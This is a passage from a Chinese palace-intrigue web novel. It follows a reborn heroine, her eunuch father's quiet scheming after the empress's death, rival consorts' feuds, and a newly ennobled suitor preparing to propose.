“表妹……”洪福帝千言万语,最后,只是讲着他会照顾好沁阳。 对于嫡女沁阳公主,洪福帝真在意。这是他唯一的闺女。 皇后薨逝,按国母位份操持身后事宜。那等风光,真是太风光。 镐京都,浑江郡主府。 万珍珠得着宫廷里的消息,尔后,她得进宫,她得替皇后哭灵。 对魏皇后,万珍珠没好印象。那又如何?一点不耽搁了万珍珠哭灵一事。 宫廷内外,气氛一样哀伤。 国母薨逝,只要识趣的,都会当死了亲娘一样的伤心。至少表面上如此。 万忠良在疗养中,他还不能进宫。牛二囡也没进宫。 因为牛二囡的身上没有诰命。 只万珍珠躲不掉,她得进宫了。 在宫廷内苑,万珍珠碰上林江郡主。二人一样的郡主爵位。 林江郡主跟万珍珠又是好友,二人跪一堆哭灵。 哭灵,万珍珠不需要魔法,更不需要道具。 在小黄门一喊时,万珍珠眼睛一酸,她就落泪了。 没法子,活了三世,万珍珠只要想哭时。想一想,那些年的苦日子,越想越心酸。 哭一场。 尔后,待哭灵结束后。万珍珠准备离开宫廷时。 朱凤曦寻了万珍珠。还是躲了众人的目光。 二人能碰着,万珍珠一瞧,她就知道是朱凤曦故意寻来的。 “郡主,别来无恙。” “充仪娘娘,皇后娘娘薨了,请您节哀。” 万珍珠也是说一说场面话。当然,二人心中都清楚。 魏皇后薨了,跟她二人哪有一毛钱的伤心关系。 万珍珠只会觉得不错,谁让魏皇后不是万珍珠这一边的友方。 “郡主,敢问内相大人近日可会回宫当差了?”朱凤曦关切的问一事。 “多谢娘娘关心,太医说爹爹还需要休养一些日子。”万珍珠给了太医的答案。 “那奶嬷嬷呢。许久不见嬷嬷,我心里念着。”朱凤曦又关心一回牛二囡这一位奶嬷嬷。 “爹爹无恙,娘亲安好。”万珍珠说起自家时,只道寻常。 “娘娘,宫廷内苑,人多眼杂,臣女不好久待。您若有话,但请吩咐,臣女一定带回府上,讲给娘听。”万珍珠说了自己的立场。 “我就关心了奶嬷嬷。”朱凤曦笑一笑。 “也耽搁了郡主时间。”朱凤曦心里千言万语。她有太多话想说。 当然,主要还是在万内相身上,朱凤曦想拉关系。不止为她自己,更是为了四皇子的前程。 朱凤曦听着一点风声,又或者说一些人的嘀咕。 魏皇后薨逝,新皇后又会是谁? 至于洪福帝不再立后?朱凤曦想一想,她就觉得不可能。 因为后位摆那儿,利益太大,太多人在肖想了。朱凤曦不过是其中的一人。 在心里,朱凤曦也承认,她也有野望,她也想当皇后。 普天之下,最尊贵的女子莫过于皇后。朱凤曦当然想立于众人之上,她真心想做了帝王的妻子,想当了中宫的皇后娘娘。 第57章 大晋朝,镐京都,内城,浑江郡主府。 “爹爹,朱充仪想拉拢咱家。”万珍珠讲了进宫哭灵遇上的事情。 “四皇子殿下身子太差,咱岂敢靠拢?”万忠良摇摇头。 “莫说陛下喜欢三皇子殿下,便是依着规矩也当立嫡立长。四皇子殿下的机会太少了。”万忠良讲了大实话。 “……”万珍珠沉默着。 万忠良瞧了亲闺女的神情,笑道:“闺女,咱记得你的话。且宽心,咱帮亲不帮亲。” “朱充仪在你娘跟前有一份体面,在咱跟前,不过是后宫嫔妃,寻常陌生之人罢了。”万忠良摆明态度。 在万忠良心里,若非忠于洪福帝,如此才会护了四皇子。 可对于四皇子的生母朱充仪,万忠良从来冷眼旁观。 只待朱充仪自己在宫廷内苑里与其它的嫔妃们你争我夺,又或者你死我活。 万忠良效忠的是天子。除天子外,宫廷里的其它人于他没干系。 哪怕是三皇子、四皇子,万忠良差人护得紧,也是臣子本份。 至于说攀附下一代的帝王,思考一下什么从龙之功? 万忠良没有这一份心思。 在亲闺女万珍珠想“创业”,想在浑江郡干一番事业时。 万忠良支持了,也算给万家留下一条退路。 如此情况下,万忠良就更不会跟谁走得近。 万忠良不想留了把柄,他要做天子忠臣,不止为了利益,也为了名声。 有些事情,做为大晋天子的心腹家奴可以干。例如,正大光明的借了皇权余晖。 还有一些忌讳很要紧,万忠良是天子身边的心腹太监,他站错立场,那会死人的。 万忠良不想死,他还想瞧一瞧亲闺女的“创业”史,是成,是败? “爹爹,女儿瞧着朱氏一族败落。早些年的郁郁之气,也消散几分。”万珍珠笑道。 至于说全消解? 想一想前世的遭心结局,仇人安在,万珍珠没法子安心。 只能说心结太深,扎在灵魂深处的刺,那一时半会儿的拔不出来。 关于魏皇后薨了,对于魏氏一族而言,也算喜丧。 洪福帝倒底心软了。在魏皇后薨了后,给魏氏一族留了一些体面。 应该抄家,当然不会手软。 可魏氏嫡脉的身上,还是流着皇家的血。 洪福帝还记着庆德长公主的宗亲身份。于是,抄家就罢了。 庆德长公主的嫁妆,那不能被抄掉。 不外乎,就是让庆德长公主一家人从镐京都滚蛋,滚去庆德长公主的食邑上待着。 如此,往后庆德长公主一系也算是退出了镐京都的风云舞台。 至于说庆德长公主是落地的凤凰,那会不会被人欺负? 庆德长公主的公主封号犹在,皇家封赐的食邑犹在。 一旦到了地方上,庆德长公主还是人上人。 又哪里需要一般小民去同情? 镐京都,皇宫。 宫廷内苑,有人的心思起波澜。王贤妃得着自家的消息。 如今嘛,王贤妃很生气。 “倒是咬人的狗。”王贤妃又气又恼。 “我那二叔,也是一个不中用的。”王贤妃对于亲二叔犯事,她是恨的紧。 魏皇后薨了,多好的机会。 对于中宫皇后的野望犹在,王贤妃盼着娘家替她争气。 结果呢?衙门判断了,她的亲二叔要偿命。 堂堂三皇子殿下的叔祖父,要给 黎庶百姓偿了性命。 这等官司闹出来,真的太轰动。 荣恩伯府没脸,王贤妃觉得她跟亲儿子三皇子也没脸。 “太丢人了。”王贤妃恼的紧,呢喃话语时,脸上的神情也是略有狰狞之色。 “娘娘。”王嬷嬷劝话,道:“二老爷出事,衙门判案当然没错。” “可是,这事情如何闹起来,才是关键的地方。”王嬷嬷不是提点,而是明示。 “府上已经递了话,说得明明白白。有人动了小心思啊。”王贤妃的目光望向了朱充仪住的寝宫方向。 王嬷嬷知自家主子的心思。毕竟宫外的消息递进来。 王二老爷会招灾,原来能压下去的事情,如今压不下去。 当然是有人故意的,就想抹黑了三皇子的母族。 三皇子母族德行不修,这是大大的减分项。 “朱氏……”王贤妃咬牙念二字。 “她也不多想想,凭她膝下一个早产儿,病秧秧的身子骨,还想跟本宫争。她好大的胆量。”王贤妃知道朱充仪的娘家人在背后专门扯荣恩伯府的后腿时。 王贤妃当时气炸了,如果不是养气功夫好。 王贤妃真想去挠花了朱充仪的一张脸。 瞧着没那一张诱惑君王的脸,朱氏还能得意什么? 可想归想,做为嫔妃。王贤妃不可能那样横冲直撞。 凭魏皇后多年的嚣张,也不敢坏了嫔妃的脸。 后宫嫔妃,一张脸是登天的梯子。 若不美貌,如何争了帝王心思,求了圣宠? 王贤妃的家世比不得魏皇后,又或者说她觉得自己在帝王心里的情份比不得魏皇后。 王贤妃能做的,当然就是忍一忍。 帝王喜宫廷一团和气,王贤妃就得当了解语花。 这是表面上的功夫。 背地里,王贤妃也是知会了娘家人。朱氏一族敢下黑手。 荣恩伯府当然能以牙还牙,以血还血。 宫廷内苑的消息,那灵通不灵通,还得看了自个的势力如何。 王贤妃能得着的消息,朱凤曦当然也知道了。 “白玉,家族真的做成了此事。让贤妃失了亲叔父?”朱凤曦又问一回话道。 对于王贤妃的二叔偿命一事,朱凤曦知道后,还随嫔妃大流,在暗中嘲笑一回王贤妃的母族不修德行。 哪料想,家族递来消息。这事情跟自家相干系。 朱凤曦就上心了。她在跟王贤妃争圣宠,或者说争了后宫第一人的位置。 二人同为洪福帝的嫔妃,同样膝下有一位皇子。 这差在哪儿? 当然是各有差迟。各有缺点。 可问优点?旁的不论,只论膝下有亲生的儿子,这一条就非常重要。 洪福帝考虑嫔妃时,关于亲儿子生母这一条肯定多考量一二。 洪福帝不为旁的,只是不看僧面,还看佛面。 身在皇家,皇子的前程很好很光明。可能登基成为新君,也可能成为藩王。 洪福帝是帝王,对于亲儿子的前程,他考量的就多了。 衡量皇子,不止看皇子本身,还要看皇子背后的势力。 “本宫的娘家,唉。”朱凤曦为难。 这一回跟王贤妃对上,朱凤曦不怕。因为二人早对上了。 利益冲突,关乎的份量太重。二人都没得退。 “白玉,递话出宫。本宫的意思跟往常一样。让家族亲人们都小心谨慎。莫再让人寻了把柄。”朱凤曦是旧话重提。 当然她知道,这话全是废话。 她的母族如今瞧着势弱的很。若非是四皇子撑了体面,真比不过荣恩伯府的风光。 大晋朝,镐京都,内城,浑江郡主府。 万忠良在秋日又调养一番,如今向宫廷递了话。 万忠良想回天子跟前侍候。 当然,在回了宫廷当差前。万忠良又跟亲闺女讲了一事。 书房内,父女二人谈话,再无旁人。 “燕京都的新消息。赵济世在对大吴争伐中立了战功,如今被大赵天子册封为新唐伯。”万忠良提一件让亲闺女一定会在意的事情。 “新唐伯。”万珍珠念叨一回。 “新唐……”万珍珠仔细的回想一二,那新唐在哪? 万忠良瞧着亲闺女的念叨,他笑道:“这新唐是一个新名。” “原名是泥塘县。”万忠良给亲闺女讲解一回。 万珍珠一听泥塘县,她知道在哪。在北镇治下。 那泥塘县别听名字不好听,可搁北镇,也是好地方。 有泥塘的地方,当然不会缺水。有水的地方,自然是农夫能立足的地方。 有地有水,有耕有田。这便是中原人眼中的好地。 在北镇郡,那泥塘县就数着最好的一地。 “县伯吗?”万珍珠笑道:“瞧着封爵了,也是新贵。只如此,我倒想瞧一瞧,这一位赵大人可还会记得大晋旧人的三年之约。真忘记,爹爹,您可得替女儿寻一门好亲事,莫低了。若不然,落女儿的面子是小,丢您的体面事大。” 万珍珠拿自己打趣一回。 “咱也想瞧一瞧,三年之约,可还当真。倒是闺女你真不怕那新唐伯一朝青云直上,忘了旧约。”万忠良打趣一回闺女。 “只你放下旧约,咱就一定给你寻一门好亲事,压一压负心郎。”万忠良笑道。 “爹爹,女儿信赵大哥。女儿就是说一说,您可不能当真。”万珍珠真是随意一讲。 在心底,万珍珠还信赵济世的人品。 主要是前世今生,赵济世在万珍珠的心底,那还是人品杠杠的。 前世,大赵摄政王可是一言九鼎的人物。没听说有毁诺之举。 既然是一口唾沫一个钉的人物,万珍珠当然相信。 特别是这一辈子遇着赵济世,二人相处过。 万珍珠相信自己的眼睛,她瞧的出来,赵济世望着自己的眼神里有光。 他是真的心悦于她。 既然郎有情,万珍珠且相信了。 大赵朝,燕京都,新唐县伯府。 赵济世得胜归来,天子李明弘是新旧一起记功。 帝王想做表面功夫,想让世人知晓,帝王念旧情。 那么,从龙旧臣当然得重用。 不止重用,寻着机会,应该给的恩赏得给足。 在从龙功臣里,赵济世不是最冒头的。 最冒头的,还是天子李明弘的表兄表弟。甭管是常世子,还是何二公子。 这二位既是天子李明弘的亲族,也是功臣。 特别是二位出身好。在筹赏之时,帝王更大方。 赵济世在一众从龙旧臣里不算太出挑。只算平平无奇。 当然比着那些底层的厮杀汉,赵济世又算得登堂入室。 哪怕是新贵,县伯之尊,也是世袭之爵。 对于黎庶而言,这是得仰望的贵人。 新唐县伯府,高门大户,雕梁画栋。 赵济世招待了自己一伙小兄弟们。这一回,赵济世加爵封官。 他的结义兄弟们一样升官发财。 只赵济世是领头羊,他在自己这一伙子人里,自然是最冒尖的一人。 “恭贺大哥。” 一众兄弟吃酒,众人皆向赵济世这一位结义大哥敬酒。 赵济世吃得开心。他笑道:“同喜,我与众兄弟一样高兴,今日不醉不归。” 赵济世是吃一场开心酒。 只吃酒后,再醒来,却又是宿醉一回。 在书房里,赵济世跟自己的结义兄弟们不吃酒了,醒酒后,还要议事。 “诸位兄弟,大家伙对前程有什么想法?自家兄 弟,不讲二话。但有想法,尽说无妨。我做大哥的有能使上力的地方,就一定要替兄弟们周旋。“赵济世开门见山的讲道。 说白了,赵济世不止自己想奔前程。 如果可以的话,赵济世是想拉拔了兄弟们一起奔好光景。 一众兄弟里,有人自然是一心一意跟随大哥。 也有人想着未雨绸缪。 众人一议,赵济世也讲了一件事情。他道:“我被陛下封爵。我这一辈子就是厮杀汉。除了建功立业,不做他想。” 赵济世先表明立场。尔后,也说了自己的为难处。 原来被天子李明弘塞关系,把赵济世与小兄弟们全塞进禁军。 等着南边有功劳,天子李明弘又把亲信塞过去。让大家伙建功立业。 如此,应该筹功时,明面上的说法就不止是从龙之功。还有立下来的战功。 这战功封爵,好听,对上对下全有交待。 天子李明弘办事,自然是让自己名正言顺。 到底杀弟逼父,那不是什么好名声。让太上皇子退位的事情,李明弘这一位新天子要脸。 能够遮掩一二,李明弘还是想遮掩一二。 如此,赵济世等从龙功臣也要识趣。 赵济世是识趣人。或者说南边的功劳捞了。 也不能一直碍人眼。 对于天子的舅舅与姨丈,这二位都在南边掌事。 这二位在天子李明弘没上位前,也是一心一意奔了前程。 一旦新君登基,时移世易,有些事情不同了。 赵济世长了眼睛,他瞧出一些风波将来。 镐京都是好地方,可赵济世就想换一换新地方。 自己的食邑就很好,新唐县。 赵济世很想把食邑建设好。那么,在镐京都里一直待着真不成。 赵济世不想如此,因为何国舅和常国公,这二位全是大人物。 二位一旦顶牛,赵济世觉得自己小身板的,他不想选边站。 赵济世更想回了北镇,他想再立功劳。更想把爵位再升一升。 北镇与北边的胡人有来往,同时,还有战事纠葛。 南边的大吴朝安稳了,西边的大晋朝稳住了。 那么,北边呢? 胡人若是不安份,会不会有机会再立功业? 赵济世有想法。 只赵济世自己乐意回北镇去扎实自己的根基。 对于自己的兄弟们,赵济世想法又不同。 镐京都多重要的地方,自己兄弟立足不容易。 如果可以,还是留些兄弟们占坑。好处拿着。 甭管边地,又或中枢。赵济世一样重视。 赵济世想去边地,不过是想着再抬一抬自己的爵位与官帽子。 一旦有机会,从边镇再回燕京都,那时候的赵济世就是一朝飞龙在天。 势大,底气才足。 赵济世喜爱自己的家乡,那儿虽是边地。常有纷争战乱。 到底是世家世族太少。 或者说压根儿就没有世家世族,有的,也不过一些地方豪强。 地方豪强与世家世族,那差距大着。 凭赵济世如今新唐县伯的身份。回了北镇,赵济世才是站在顶端的大人物。 这一日,赵济世跟自己的兄弟们商议一番。 彼此心中有了默契。 正事商议好。 众兄弟又提旧话,不外乎,请大哥早早迎娶大嫂。 “大哥,您如今建功立业了。伯府还缺着一位主母。”马义劝话道。 不止马义劝,诸兄弟也劝。 “我自然听众兄弟们的美意,当迎新妇过门。”这一回赵济世真不拒绝。 在回北镇前,先把婚成了。这事情赵济世是乐意的。 只赵济世乐意还不成,他得备了聘礼。同时,还得去大晋求婚。 大赵大晋,一来一回。这距离远着。 对于赵济世的婚事,众兄弟们嘀咕归嘀咕。 可瞧着大龄青年的大哥一直不成婚。 原来还介意一番,这大嫂是谁? 众兄弟盼着大哥迎娶一位贵女。如今嘛,大哥乐意娶嫂嫂就是好事,早早生了大侄子,那就是乐事。 旁的,众兄弟们也不敢蛐蛐大哥了。 燕京都,崔府。 关于新唐伯置了聘礼,还是光明正大的去求娶大晋女子。 这事情闹得沸沸扬扬。或者说,有人在传小话。 崔氏一族在这一场风波里,也成了惹人注意的人物。 谁让当初的崔氏一族拒婚了呢。拒了新唐伯这一位东床快婿。 这事情原本崔氏一族压下去。 可不知道怎的,如今这事情还闹腾出来。哪儿传出来的风声? 众说纷纭,倒没一个出处。 至于太上皇跟前的嫔妃,那一位崔婕妤,如今嘛,也卷入了风暴里。 不过,崔婕妤还好,只被人暗地里蛐蛐。可没人敢光明正大的腹诽。 毕竟崔婕妤是太上皇的嫔妃,皇家的脸面挺重要。 “倒瞧不出来,这一位新唐伯是一位人物。”崔婕妤的父亲念叨一回。 在心里,崔婕妤的父亲未尝不是后悔的。 当初成为天子的嫔妃,对于旁枝而言,自然是喜事。 可太上皇的龙椅,那坐的时间太短了。 崔婕妤膝下又无子嗣,这就要命了。 对于崔氏一族而言,无子的婕妤跟天子宠臣有干系。 这闹来闹去,闹出来风波。崔氏一族的名声还要不要? 这背后没人谋算什么,说出去,崔氏一族都不信。 可事情闹出来,又如何?新唐伯是战功封爵。 又是天子心腹,一点谣言对于新唐伯没有大的影响。对于崔氏一族嘛,就很有影响。 大赵朝,镐京都,皇宫。 天子李明弘关注着臣子们的动向。至于赵济世差人去大晋求婚一事。 李明弘听着下面人的禀话,只轻轻说一句,道:“知道了。” 知道了之后呢?天子不再示意。似乎真是小事一桩。 秋日,好时节。 万珍珠想与亲娘去礼佛。亲爹已经进宫廷当差。 万珍珠就想着与亲娘一道走一走,也让亲娘散散心。 镐京都的近日,也是不太平。朝堂上的风波,闹得女眷的圈子里一样惹了事事非非。 中宫皇后,诺大的名头。 这地位惹眼,让太多人在巴巴的望着。 浑江郡主府上,有太多人想送礼。这些人求什么。 万珍珠知道。不外乎她亲爹在宫廷里当差,又回了天子跟前。众人求万内相在天子跟前美言一二。 可万珍珠不想掺合。浑江郡主府有自己的事要干。 “不急着去上香祈福。”牛二囡对于亲闺女的提议。她是拒绝一回。 “我近日还是答应过几场聚会,总不能爽约了。”牛二囡觉得她要做诚信之人。 答应之事,不可反复。 万珍珠瞧着亲娘的态度,只能应了。 “娘,您若是想挑了女婿,可不着急。”万珍珠说道。 “……”听着亲闺女的话,牛二囡好笑一回。 “知了,你爹提过,娘不会让你为难的。”牛二囡知道自己的闺女在意了三年之约。 那赵济世都做了伯爷。牛二囡更在意了。 当然,大赵的伯爷,哪怕是爵爷又如何。太远了,大赵朝离着大晋朝太远了。 可夫君与亲闺女在背地商量的那些事情。牛二囡听夫君嘀咕一番。 对于太监风光短暂一事。牛二囡一直忌讳着。 如今自家人思退路。 那新唐伯又是北镇地界的主,北镇跟浑江太近。 有些事情不深思,那是没多少份量。 一旦深思了,这里面水深着。 牛二囡自然是准备等一等,她也想瞧一瞧夫君与亲闺女口中的人物。 那可能的未来女婿赵济世,他会不会真来提亲? “闺女,娘就问问,你真是要应了三年之约,不后悔了?”牛二囡瞧着闺女主意定了。 夫君还没反驳的意思。 牛二囡拿捏不定主意。她心里忐忑不安的。 “娘,做人的一辈子,总要言而有信。您也不想女儿失信于人吧。”万珍珠嗔怪的笑道。 第58章 大赵朝,燕京都,内城,马宅。 马义与一众兄弟们在商量事情,不外乎是盯紧了燕京都里的一些消息。 关乎上自己一众兄弟们的利益,不止马义在意,他的其余结义兄弟也在意。 “也不知大哥如今到哪儿?”卢泰山讲道。 “当踏入大晋疆域了。”马义算一算时间说道。 “真盼着嫂嫂早些过门。” “是啊,是啊,大侄子一直没着落,大家伙都替大哥操心,大哥膝下空虚,我们做兄弟的也不得劲……” “……” 马义听着一众义弟们的议论,他笑笑。 被众人议论的赵济世踏上永州地界。故地重游。 可故人不在此处,赵济世对于永州倒没什么滤镜感觉。 只落脚在客栈后,赵济世还是差人打探一二消息。 赵济世知道了朱氏一族的风光不在。对此,赵济世感慨一回。 “旧时风光,难得依旧。”对此,赵济世看得开。 只能说朱氏一族想往上爬,掺合进皇家的权力角逐,有什么样的结局都不可怕。 赢了,输了,没到结局时。哪有人料得准。 至于说不掺合?都已经到落幕时,再谈当初的野望,那就很没必要。 落子无悔。这是赵济世的看法。 何况如今的朱氏一族瞧着不太风光,但是,也还有底蕴尚存。 大晋天子膝下就两位皇子,四皇子犹在。朱氏一族还有指望的。 大晋朝,镐京都,皇宫。 宫廷内苑,王贤妃听着心腹的禀话。这会儿殿内,就王贤妃和心腹王嬷嬷二人。 旁的,全让王贤妃打发了。 “本宫还当谁在做局,原来朱氏一族落魄了,还是烂船尚中有三千钉。本宫小瞧朱氏一族。” 王贤妃说话时的语气温柔。可温柔归温柔,那语气里免不得带着寒意。 王贤妃的二叔没了,荣恩伯府的名声蒙了一层阴影。 不止如此,王贤妃想亲近了三皇子。如今也是避讳一些。 瞧着天子的做派,很不想她这一位生母影响了三皇子。 王贤妃对着天子跟前的人又送礼,又暗示。 多方走关系,还从张昆的口中知道一点消息。 荣恩伯府名声坏了,累着三皇子。说是累着三皇子的名声,不如说,那是坏了王贤妃在洪福帝跟前的印象。 “朱氏,倒是好算计。瞧瞧,陛下都有意封朱氏为妃。”王贤妃想到王嬷嬷刚才禀上来的消息。 王贤妃就咬牙暗恨。 洪福帝已经开口,让人备了封妃的吉服宝印等等。 应该准备的东西全安排上。 这口风也落在了王贤妃的耳朵里。 天子不急着册立中宫,哪怕朝堂上有风声。 天子不开心,就不想册立。 倒是准备晋封四皇子的生母朱充仪为妃。这事情闹出来。 王贤妃恨,恨得牙痒痒。 “往后,宫廷内苑倒有人跟本宫平起平坐。本宫岂不是拖了皇儿的后腿。本宫与朱氏同为妃位,皇儿和他的弟弟一样是嫔妃所出。哼……”光想一想,自家的亲儿子在母族上不占多少便宜的话。 王贤妃就不开心的很。 “娘娘,一定有法子的。”王嬷嬷劝话道。 王贤妃当然想弄一弄新法子。 镐京都,内城,浑江郡主府。 万忠良难得回一趟府里,小歇一日。他还陪着妻女一道用饭,尔后,再是一起吃吃茶,聊聊天。 “有一事,还得闺女你知道。”万忠良提了一事。 “赵济世亲自往镐京都来。”万忠良一提这话。 牛二囡来了精神。 “夫君,你的意思是赵济世来提亲?”牛二囡问道。 “十成是如此。”万忠良不卖关子,他的目光落闺女身上。 “闺女,你咋想。”万忠良问道。 问万珍珠咋想,万忠良就想知道,亲闺女是不是真正下了决心。 三年之约,真遵守了。 “我儿,你再考虑一二。如今那赵济世尚未至镐京都,真是反悔,都来得及……”牛二囡劝话道。 对于牛二囡而言,她满意了赵济世这样一个能耐的女婿。 可满意归满意,真让闺女远嫁他乡,牛二囡心里还是不得劲儿。 “娘,女儿是守信之人。”万珍珠的态度很明白。 既然应了三年之约。 这些年月里,爹娘一直没与她一道寻着合适的成婚人选。 那么,如今蹦跶出来一个合适的,为何要拒绝呢。 北镇分商社的收益,万珍珠一直很关注。 就是太关注了,万珍珠对于浑江郡很有想法。 嫁给赵济世,一切有可能。只要有可能,对于创业嘛,万珍珠太有兴趣了。 至于说赵济世会不会不同意?凭着有利于北镇,万珍珠就相信赵济世这一位赵大郎不会拒绝。 认识赵济世这些年月后,特别是跟爹娘吐露三年之约后。 万珍珠在亲爹这儿还得着更多的消息。关于赵济世的老底,万忠良差人查得清清楚楚。 万忠良查清楚了,也不隐瞒了亲闺女。于是万珍珠也是清楚的知道赵济世是咋样人。 要说赵济世这人,那真是好大哥。那大方的,万珍珠看了也得说一声服。 搁她是赵济世的兄弟,她巴不得。 至于说家人?万珍珠瞧着,在赵济世的心里怕是真把义兄弟当了家人。 因为赵济世上没老,下没小。他是孤家寡人。 生在北镇,那地方胡人与中原人杂居。 赵济世虽然是中原人,可他家祖辈是迁移而来。 据传,祖辈是贬去的。 因着时间太久远,百多年前。这时间久了,很多事情只能说不可考。 赵济世小时候还有亲族。可北镇那儿三天两头,说打仗就打仗。 赵济世的亲族与家人死在了无数次的战乱里。 赵济世的少年时代,那就是吃百家饭长大的。 尔后,不过是卖命罢了。 靠着游侠儿的身份卖命为生。拼了性命,才是挣得如今的功名。 里面当然不可能全是光明之事。在亲爹能查到的资料里。 万珍珠也看到了赵济世的黑料。 哪怕是黑料,万珍珠看了,也得感慨一回。 搁她处在赵济世的基础上。 万珍珠真心觉得她没赵济世的本事。还能一步一步的拿命拼出来一个前程。 如今的新唐伯,也是大赵新贵爵爷。就凭如今的身份,赵济世说一声功成名就。 搁北镇的家乡父老知道,谁都夸一句,没说错,太保真。 哪怕搁了镐京都,万珍珠也得感慨,赵济世能折腾,有本事。 对于有本事的人,总能让人多包容一点。 万珍珠对于赵济世想求娶她,她乐意的。 这一日,牛二囡在亲闺女这儿,还是没能说通了女儿的心思。 万忠良留了女儿,父女二人单独谈一回话。 “闺女,你自己选的姻缘,咱不劝。”万忠良的态度很明白。 “只你知道,你选择的路不一定好走。”万忠良讲道。 “女儿明白。”万珍珠早有心里准备。 如果可以的话,谁不想掌握自己的命运。 没机会的人,那都要拿命去搏了一回。像是赵济世,就是拿命搏了出路,不止一回。 万珍珠原来是得过且过。可在亲爹重伤,她无能为力时。 万珍珠又像是回想到了前世,那一种无可奈何,无法反抗的命运又加身一般。 噩梦再临。 生死两难的境地,万珍珠不想再经历。 万珍珠宁可自己拿了自己的命运。赵济世敢拼,万珍珠也敢下注。 拿自己下注,搏一个未来。 一旦有了未来,不止自己的命运改变了。爹娘也一样。 一家人求一个未来 。 万珍珠想到这些时,她笑道:“爹爹,不提女儿姻缘,我们都应了对方的。” “是啊,咋就应了。你娘那儿,咱也会替你说通了想法。”万忠良感慨一回。 “咱老了,咱能护着闺女你的日子是一日少过一日。咱这一辈子就盼着一个好收场。”万忠良在生死走一遭,他也怕了。 或许死过一回,才能更体会着活着的珍贵。 万忠良便是如此。对于亲闺女选的女婿人选。 万忠良上心了,查清楚了。 至于反对?堂堂大赵新唐伯,也是好女婿的人选。 “咱有贺礼,待闺女你出嫁时,应会落定。”万忠良又讲道。 “爹爹的贺礼……”万珍珠想问一问。 可瞧亲爹的神情,她又不问了。这会儿万珍珠笑着说道:“我且等着,可要等一等,就好好的瞧一瞧爹爹的心意。” “不止瞧了,还要珍藏,往后可得品鉴了,还说与小辈们听一听。让他们羡慕一二。” 万珍珠拿着自己打趣一回。 万忠良听过亲闺女的话,他大笑一回。 贺礼,万忠良准备了。不止一样两样。关于闺女的嫁妆。 万忠良不止让妻子牛二囡备上,他自己还是备了一份。 如此,万忠良还觉得不够。他早有想法。 等着亲闺女出嫁时,还要求了陛下。万忠良觉得自己在陛下跟前,总有一二情份。 对于万忠良而言。这情份求来,求的不过是女儿的好前程。 不止求了陛下,给女儿求一份保证。 万忠良在暗处,还有给女儿的贺礼。也是安一安闺女的心思。 想到这些时,万忠良的目光又望向了皇宫的方向。 至于说妻子讲的话,求的事。万忠良不答应。 朱充仪前程如何,干万家何事。 万忠良还是记得亲闺女的话,朱家人既然是闺女的心结。 万忠良当然要替闺女了结一番。 又两日。 浑江郡主府里,万珍珠得知了一个消息。宫廷里的朱充仪病了。 林江郡主来浑江郡主府做客时,还跟万珍珠提了一嘴这事情。 “充仪娘娘可惜了。这病的不是时候。”林江郡主感慨一回。 “姐姐关注这事?”万珍珠笑着问道。 “当然关注着。陛下起意,四皇子生母要晋封为妃。瞧瞧,圣意明了,尔后,充仪娘娘病了。这,晦气啊。”林江郡主说着最后三字时,还是压低了声音。 万珍珠心里在琢磨着“晦气”二字。这一想,还真觉得兆头不好。 对于朱凤曦病了,没得着妃位的正式册封礼一事。 万珍珠不在意。 万珍珠就觉得好笑,林江郡主还跟往常一样。 宫廷内苑的热灶,一直烧着。谁当红,跟谁好。 “姐姐,宫廷内苑的事情,也不看一时半会儿。待充仪娘娘病好了,正式的册封礼自然会举办的。”万珍珠似乎浑不在意这事情。 可在心底,万珍珠又觉得晦气的太好了。 知道朱凤曦过得不舒坦,万珍珠就觉得自己太舒坦了。 至于被人议论一番的朱凤曦,她真病了。还是一下子染了风寒。 至于如何染上的风寒?不外乎,就是落水一回。 镐京都,皇宫,职房。 万忠良听着下面人的回话,他轻轻点头,道:“护好四皇子殿下,至于娘娘们的争端,咱们做皇家奴仆的,可不兴掺合了。” “干爹吩咐,儿子记下。” 万忠良的干儿子应下话。 万忠良摆摆手,让其退下。待屋中剩下自己一人时。 万忠良在沉思。 关于朱充仪病了,这前因后果,万忠良全清楚着。 问万忠良什么想法? 万忠良没什么想法。因为这事情万忠良没掺合。 可万忠良给了一些人方便。 不止如此,王贤妃的二叔如何出事?那当然有人通风报信给朱家人。 谁当了耳报神,那当然是万忠良示意。 若不然的话,凭白平故的,谁去得罪了荣恩伯府。 不过是万忠良给了朱家人机会,那是寻着了荣恩伯府的污点。 又或者说魏氏一族不倒台前,魏皇后针对朱充仪背后的朱氏一族。 这里面嘛,也有万忠良放水的原由。 若不然的话,魏氏一族没倒台前,荣恩伯府也掺合了一些事情。 咋那会儿,荣恩伯府好好儿的。 待魏氏一族倒台了,朱氏一族被削的七七八八了。 荣恩伯府就露馅儿。 这里面的水深着。水深,当然是有人放水了。 万忠良就是执行了洪福帝的心思。同时,也是顺道把一些人一脚给踩进水里。 如今嘛,情况很好。至少万忠良很满意。 洪福十七年,秋。临近着中秋佳节前。 掌了宫务的王贤妃在盘算着中秋佳节的宫宴。 这等大事,王贤妃要办好办妥。她还想挽回了在天子心头的印象分。 “……”又是看了帐本的一日,王贤妃搁下了帐目。 这会儿宫人替王贤妃揉一揉,按一按。 在王贤妃享受时,有宫人来禀话。 “娘娘,出事儿。”宫人禀了话,王嬷嬷接了消息,尔后,亲自禀明王贤妃。 王贤妃一睁眼,王嬷嬷忙讲道:“朱充仪出事,下面的小黄门来报信,充仪娘娘殁了。” “……”王贤妃听罢,愣神一会儿。 “嬷嬷,你说什么?”王贤妃问道。 “朱充仪娘娘殁了。”王嬷嬷赶紧回道。 “……”王贤妃想说不可能。可话至嘴边,她又咽回去。 这等大事,哪有人敢撒谎。王贤妃的目光落在王嬷嬷身上。 这会儿王贤妃心里明白,这是天大的事情。 四皇子没了生母,四皇子往后咋办? 王贤妃先想着这一件事情。尔后,又琢磨着朱充仪突然殁了。 不是生病吗?太医去了一人又一人,这些太医真无能。 “可知会了泰和宫?”王贤妃问道。 “有小黄门去报信儿了。”王嬷嬷忙回道。 “本宫管着宫务,这事情不可担搁。去,得赶紧去一趟。”王贤妃讲话道。 当然,去瞧着殁了的朱充仪之前。王贤妃还得赶紧的换一换衣裳装束。 谁让朱充仪殁了,虽然还是充仪的位份。可天子已经降了口谕。 那要册封朱充仪为妃。只是没正式的下圣旨罢了。 皇宫,泰和宫。 洪福帝听着身边大伴万忠良禀上来的消息,说道:“朱氏,福薄之人。” 对于朱充仪,洪福帝的印象分还不错。可对于朱充仪的娘家嘛,洪福帝印象很差。 只念着四皇子的体面,洪福帝还是顾及一些。 如今美人儿殁了,留了一个皇子。为着皇儿体面,洪福帝也得给朱充仪体面。 宫廷内苑的事情,当然是瞒不住人。特别是还关系着一位皇子的生母。 镐京都,内城,浑江郡主府。 